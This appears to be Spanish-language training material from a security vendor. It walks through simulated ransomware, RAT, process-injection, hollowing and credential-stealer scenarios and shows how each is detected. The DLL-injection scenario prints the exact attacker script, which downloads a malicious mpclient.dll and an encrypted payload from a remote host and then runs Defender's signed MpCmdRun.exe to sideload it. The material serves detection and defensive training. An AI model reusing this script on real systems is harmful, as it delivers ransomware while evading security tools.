Escenarios

Escenario de Capacitación - Inyección de DLL

Nombre del Grupo

Training Data - Dll Injection (Hive)

Escenario

En este escenario de capacitación, ejecutaremos una carga útil de ransomware cifrada mediante inyección de DLL en un MS Defender firmado. Se ha creado una DLL personalizada, tal como lo haría un atacante, que descifra un archivo .log falso y lo ejecuta.

Muchas herramientas de seguridad simplemente ignoran los procesos iniciados por un proceso padre firmado, particularmente un antivirus firmado, y aún más particularmente Defender. Los comandos de Defender no solo suelen estar permitidos, sino que a menudo tienen privilegios extremadamente altos. Aquí el comando que se convierte en arma es una actualización de firmas, algo que no solo es común, sino que sería ignorado en cualquier tipo de búsqueda de malware. Aquí demostramos que, incluso con técnicas simples de “vivir de la tierra” (living off the land), un atacante puede ejecutar cargas útiles privilegiadas mediante el uso de un script sencillo, sin necesidad de herramientas de inyección personalizadas en la máquina.

Aquí está el script exacto ejecutado en la máquina víctima. Observe cómo no ocurre nada explícitamente malicioso; copiar los ejecutables de Defender a un directorio de preparación se hace solo para resaltar los archivos de C:\staging en el análisis de causa raíz.

mkdir C:\staging
copy C:\Windows\WinSxS\amd64_windows-defender-service_31bf3856ad364e35_10.0.19041.746_none_a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging
curl 169.254.247.102:8000/0x80004006.log -outfile 0x80004006.log; curl 169.254.247.102:8000/mpclient.dll -outfile mpclient.dll
./MpCmdRun.exe -SignatureUpdate

Analizándolo línea por línea:

  1. Se crea el directorio de preparación

  2. Defender se copia al directorio de preparación

  3. El mpclient.dll real se renombra

  4. El archivo “log” cifrado y la DLL maliciosa se descargan desde un servidor remoto

  5. El MpCmdRun real y firmado se ejecuta con la tarea de actualización de firmas

MpCmdRun.exe
MpCmdRun.exe

Identificándolo

Automated Response
Respuesta Automatizada

Comenzando con la respuesta automatizada, sonarían campanas de alarma en su mente. Un proceso que nunca se había visto antes, con un nombre de GUID aleatorio, se ejecutó y activó Cyber Crucible, y no está firmado. Sin embargo, observe que la ruta aquí podría fácilmente ser algo con un aspecto menos alarmante. Se dejó intencionalmente como C:\staging para resaltarlo.

El siguiente paso inmediato sería encontrar ese archivo y averiguar cómo llegó allí. Probablemente haya sido eliminado automáticamente, pero podemos revisar las creaciones de procesos de Cyber Crucible para ver quién lo ejecutó originalmente.

Powershell → MpCmdRun → {7374F…}
Powershell → MpCmdRun → {7374F…}

Tal como se describe en el escenario anterior, un script de PowerShell inició un ejecutable de Defender, que a su vez inició nuestro proceso alarmante. La carga útil del malware luego generó muchos procesos hijos para realizar diversas tareas de preparación. La visibilidad de estos procesos en segundo plano a menudo brinda información sobre archivos creados en el sistema, claves de registro modificadas, actividad de propagación (worming), etc.

Otherwise “invisible behavior”
De lo contrario, “comportamiento invisible”

En este punto, el ataque ha sido contenido por Cyber Crucible, pero el análisis de los procesos relacionados es importante para determinar el alcance de los comportamientos maliciosos. La ejecución del ejecutable sin firmar por sí sola parece obvia cuando Cyber Crucible la presenta claramente, pero muchas veces los procesos en segundo plano iniciados por algo tan privilegiado y protegido como Defender simplemente serían ignorados.

Documentación relevante

Escenario de Entrenamiento - Ransomware Vainilla

Nombre del Grupo

Datos de Entrenamiento - Ransomware Vainilla (Hive)

Escenario

En este escenario de entrenamiento, ejecutaremos una carga útil de ransomware ‘vainilla’, corriendo como administrador sin ningún exploit. Esto simula el ejemplo básico de un usuario que descarga malware a través de un enlace de phishing, USB malicioso, etc.

Aunque este es un método de ejecución muy simple, si la carga útil es un día cero, aún pasará desapercibida por los productos de seguridad basados en firmas, y podría causar daños irreparables antes de que los productos de comportamiento basados en la nube puedan obtener un análisis.

Identificándolo

Automated Response
Respuesta Automatizada

Identificar este incidente es el más fácil de todas las muestras. Una vez que se ha notado el nombre de archivo sospechoso en un archivo sin firma, es una señal de alerta inmediata.

Para confirmar el método de ejecución, podemos examinar las creaciones de procesos alrededor del momento del incidente. Lo que vemos confirma que no hubo un método de exploit complejo, ¡ni siquiera un script! Como con otras muestras, las creaciones de procesos hijos son interesantes, sin embargo. Aunque el método de ejecución del malware en sí fue obvio, se inician muchos procesos en segundo plano que deshabilitan protecciones y otras configuraciones del sistema.

En este punto, el ataque ha sido contenido por Cyber Crucible, pero el análisis de los procesos relacionados es importante para encontrar el alcance de los comportamientos maliciosos. La ejecución del exe sin firmar por sí sola parece obvia cuando Cyber Crucible la expone, pero muchas veces los procesos en segundo plano iniciados por algo tan privilegiado y protegido como Defender simplemente serían ignorados.

Documentación relevante

Escenario de Entrenamiento - Ransomware Firmado

Nombre del Grupo

Datos de Entrenamiento - Ransomware Firmado (Hive)

Escenario

En este escenario de entrenamiento, ejecutaremos una carga útil de ransomware, corriendo como administrador, y con una firma personalizada. Este escenario no es muy diferente de la muestra ‘vanilla’, pero utiliza un ejecutable firmado.

Con frecuencia, los ejecutables firmados son tratados como si estuvieran verificados como benignos. Si bien es cierto que el software certificado debería estar todo firmado, esta no es una relación bidireccional, y no debemos confiar en las cosas solo porque estén firmadas. Desafortunadamente, a veces se comete ese error.

Identificándolo

Además del hecho de que este nombre de certificado es un poco extraño para fines de entrenamiento, ¿cómo sabe Cyber Crucible que no es confiable? Cyber Crucible actúa con precaución y mantiene una lista (específica del grupo) de certificados de confianza. Esto significa que podemos detectar fácilmente certificados de prueba de firma, así como certificados oficiales de grandes CAs como digicerts.

Podemos ver arriba que aunque el archivo “321d0…” está firmado, sigue sin ser confiable. Dado que no se utilizan otras técnicas de ofuscación complejas para desplegar el ataque, ¡sabemos exactamente de dónde vino!

Para confirmar el método de ejecución, podemos examinar las creaciones de procesos alrededor del momento del incidente. Lo que vemos confirma que no hubo ningún método de explotación complejo, ¡ni siquiera un script! Al igual que con otras muestras, las creaciones de procesos hijos son interesantes, sin embargo. Aunque el método de ejecución del malware en sí mismo fue obvio, se inician muchos procesos en segundo plano que deshabilitan protecciones y otras configuraciones del sistema.

En este punto, el ataque ha sido contenido por Cyber Crucible, pero el análisis de los procesos relacionados es importante para encontrar el alcance de los comportamientos maliciosos. La ejecución del exe no firmado por sí sola parece obvia cuando es expuesta por Cyber Crucible, pero muchas veces los procesos en segundo plano iniciados por algo tan privilegiado y protegido como Defender simplemente serían ignorados.

Documentación relevante

Escenario de Capacitación - Enumeración de Datos

Nombre del Grupo

Datos de Capacitación - Exfiltración mediante RAT (Quasar)

Escenario

En este escenario de capacitación, ejecutaremos un RAT en la máquina víctima y lo utilizaremos para enumerar los datos en disco, con el objetivo de exfiltrar archivos.

Si bien esto no es un ataque de ransomware, los comportamientos utilizados por el RAT se encuadran dentro de los comportamientos de extorsión de datos que Cyber Crucible detecta. La respuesta al incidente, y los datos relacionados, se parecen mucho a los de la respuesta a una carga útil de ransomware, ¡porque para Cyber Crucible todo es lo mismo!

Identificándolo

Este ejecutable se ve un poco extraño, pero está en system32 y está desencadenando respuestas repetidas. Se requiere más investigación para descubrir qué sucedió aquí. Podemos comenzar buscando rutas secundarias relacionadas con la ruta de respuesta.

Aquí obtenemos más evidencia de la historia. Un usuario ejecutó client-build.exe desde el escritorio, que es el dropper del RAT. Luego, parece que se produce una escalada de privilegios a través de un svchost. Sin embargo, todavía faltan algunas piezas del rompecabezas. ¿Cómo sabemos que esto es un RAT y no simplemente algo interactuando con svchost?

¡Esto abre mucha más visibilidad! No solo sabemos con certeza que hay actividad sospechosa en curso, y qué rutas están relacionadas, sino que sabemos que también se está creando persistencia. E incluso vemos que estamos tratando con Quasar, un RAT muy conocido.

Quasar es un RAT sofisticado, y realiza la mayor parte de su comportamiento desde dentro de su propio ejecutable, optando por traer sus propias bibliotecas compiladas estáticamente en lugar de utilizar las utilidades predeterminadas de Windows para muchas cosas. Pero incluso Quasar es detectado utilizando herramientas como schtasks.

Documentación relevante

Escenario de Capacitación - Inyección de Procesos

Nombre del Grupo

Datos de Capacitación - Inyección de Procesos (Hive)

Escenario

En este escenario de capacitación, ejecutaremos una carga útil de ransomware mediante inyección de procesos en un Svchost.exe que ya está en ejecución. El Svchost en cuestión es una operación normal del sistema, de larga duración, firmada, y bajo la cuenta de usuario LocalSystem.

Debido a que el Svchost es 'real', a menudo se pasa por alto. Los administradores saben que se ejecutan muchas instancias de Svchost, y mientras los argumentos del programa parezcan correctos, se trata como una "caja negra" y se deja en paz. Este es un vacío obvio, y frecuentemente explotado, que los hackers aprovechan. Combinado con una carga útil de día cero, este enfoque tiene mucho éxito para ofuscar ataques de ransomware.

Identificándolo

svchost.exe’s Cert Signer(s)
Firmante(s) del certificado de svchost.exe

La situación en torno a esta respuesta automatizada no es evidente a primera vista. Los argumentos de la línea de comandos parecen válidos para Svchost, y el ejecutable está firmado por Microsoft.

El hecho de que exista un subproceso remoto no confiable es sospechoso, pero requiere más investigación. Muchos subprocesos remotos ocurren en un sistema, pero la mayoría permanecen "confiables" ya que se utilizan para la comunicación entre procesos normal, el uso compartido de datos, etc.

Cuando se crea un subproceso remoto en un proceso de manera anormal, y se marca como no confiable, es ahí donde debemos examinar con mayor detenimiento.

Innocent Process Injections that occur normally
Inyecciones de procesos inocuas que ocurren normalmente

Para poder clasificar las numerosas inyecciones de procesos que ocurren en un sistema en un momento dado, podemos referirnos tanto al momento del incidente como al pid del proceso marcado. Normalmente comenzaremos con algunos pids de respuestas sospechosas, y subiremos por la cadena de inyecciones y creación para obtener la historia completa.

Filtering out irrelevant injections
Filtrando inyecciones irrelevantes
The smoking gun!
¡La prueba irrefutable!

Ya sabemos que nadie debería inyectar en Svchost de esta manera, ¡pero definitivamente no en este proceso! A partir de aquí podemos tratar este proceso como si fuera "malware.exe" y ver quién lo ejecutó, ya que alguien debió haberlo hecho.

Processes started with pid 9168
Procesos iniciados con el pid 9168

Dado que hubo dos creaciones de procesos con el pid 9168, y son muy diferentes, podemos reducir la búsqueda basándonos en la marca de tiempo y/o la ruta secundaria, y ver que fue creado por un explorer.exe. Esto significa que alguien ejecutó manualmente el proceso inyector, y no puede ser alguna coincidencia de un comportamiento de Svchost que fue marcado incorrectamente.

Documentación relevante

Escenario de Entrenamiento - Modificación de Memoria

Nombre del Grupo

Datos de Entrenamiento - Process Hollowing SQL (Hive)

Escenario

En este escenario de entrenamiento, ejecutaremos una carga útil de ransomware mediante process hollowing, una técnica de inyección/evasión en la que se inicia un proceso y su código ejecutable es modificado para realizar algún otro comportamiento.

Las técnicas en memoria se encuentran entre las más difíciles de detectar, e incluso más difíciles de responder de forma automatizada, por lo que a menudo se ignoran. La memoria es, por definición, volátil y está en constante cambio. Identificar cambios dentro de la memoria de un proceso requiere identificar las secciones relevantes y evaluarlas en distintos momentos del ciclo de vida de un proceso para ver si ha sido manipulada.

Identificándolo

Las respuestas de memoria modificada son, por mucho, las más difíciles de inspeccionar. Dado que la memoria es efímera, se trata como una “caja negra” y a menudo se mantiene a distancia. La buena noticia es que, a partir de Cyber Crucible 4.4.1.3, ahora tenemos la capacidad de recopilar automáticamente telemetría de muestras de memoria modificada, identificando qué rangos de memoria fueron modificados y los cambios exactos realizados en ellos.

Sin embargo, ese tipo de análisis es muy engorroso de realizar, por lo que un buen primer paso es revisar los procesos relacionados en el panel de control para hacerse una idea del comportamiento relacionado. Dado que el proceso en cuestión aquí es un SQLCMD.exe firmado, debería resultar rápidamente obvio si se trata de un proceso SQL benigno o de algo peor.

Hasta ahora todo bien, solo procesos SQL normales, nada necesariamente sospechoso ni tampoco no sospechoso. Aunque, nunca nos gusta ver CMDs involucrados en respuestas automatizadas. Vamos a investigar un poco más.

The smoking gun!
¡La prueba irrefutable!

¡Y ahí está! Podemos seguir desplazándonos y ver cada vez más comportamientos como estos. El ejecutable SQLCMD está ejecutando todo tipo de comandos para deshabilitar servicios, cambiar configuraciones, y todo lo que un ransomware haría de manera preventiva.

Aquí podemos ver una pequeña idea de lo que nos espera cuando empezamos a profundizar y analizar las diferencias de memoria. La mayoría de las técnicas lo suficientemente sofisticadas como para ejecutar malware completamente en memoria también van a ofuscar su código en memoria. Esto hace que su análisis sea extremadamente difícil, pero el acceso a la telemetría adicional ya ha demostrado ser invaluable para la identificación de incidentes, así como para el ajuste de comportamientos

Documentación relevante

Escenario de Capacitación - Robo de Identidad

Nombre del Grupo

Datos de Capacitación - Robo de Identidad (Redline)

Escenario

En este escenario de capacitación, ejecutaremos un fragmento de malware “stealer” (ladrón de información) con el fin de llevar a cabo la primera etapa de un ataque: el robo de credenciales. A diferencia del escenario de RAT, este no utiliza los mismos comportamientos que el ransomware. En cambio, forma parte de las crecientes capacidades de protección de identidad de Cyber Crucible.

A menudo, antes de que ocurra siquiera una extorsión, los primeros pasos que realiza un atacante son propagarse por la red y obtener acceso a la mayor cantidad posible de credenciales. En algunos casos se trata de una combinación de usuario/contraseña de AD; en otros, son claves de API extraídas de sesiones del navegador.

Identificándolo

Por ahora, profundicemos en cómo se ve un acceso anormal para el administrador.

Los accesos a datos de identidad son muy claros y directos: ¡si los administradores no reconocen un programa, este no debería estar accediendo a esos datos! Esto de inmediato resalta como algo sospechoso que está ocurriendo.

¿Cuál es el lado opuesto de esto que ve el atacante? ¡Texto plano!

Estas respuestas no son respuestas como los eventos tradicionales de extorsión de datos, por lo que no son acciones de suspensión automatizada. En cambio, se asemejan más a inyecciones de procesos, en las que Cyber Crucible no se interpuso. A medida que nuestros análisis han ido creciendo, hemos aprendido cómo se ve el acceso “normal” a los almacenes de identidad para varios tipos de aplicaciones. Para 2023 habilitaremos nuestra función de protección, que restringirá el acceso, a nivel del kernel, a diversas formas de bases de datos de identidad, permitiendo el acceso únicamente al software asociado.

Documentación relevante